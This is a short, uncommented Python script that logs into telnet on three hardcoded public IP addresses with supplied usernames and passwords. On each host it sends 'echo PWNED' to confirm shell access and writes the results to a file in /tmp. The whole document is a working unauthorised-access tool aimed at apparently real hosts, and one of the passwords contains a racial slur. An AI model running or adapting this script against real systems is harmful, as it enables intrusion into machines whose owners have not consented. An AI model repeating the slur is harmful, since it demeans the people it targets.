import socket, time
targets = [
    ("45.139.50.126", 23, "admin", "admin"),
    ("103.75.116.88", 23, "root", "niggerson123"),
    ("103.73.66.210", 23, "admin", "admin"),
]
for ip, port, user, passwd in targets:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, port))
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(1)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(2)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass
        s.send(b"echo PWNED\r\n")
        time.sleep(2)
        r = s.recv(65536).decode(errors="ignore")
        s.close()
        if "PWNED" in r:
            open("/tmp/r2.txt","a").write("SHELL " + ip + "\n")
        else:
            open("/tmp/r2.txt","a").write("FAIL " + ip + " " + r.strip()[:50] + "\n")
    except Exception as e:
        open("/tmp/r2.txt","a").write("ERR " + ip + " " + str(e)[:30] + "\n")
    time.sleep(0.5)
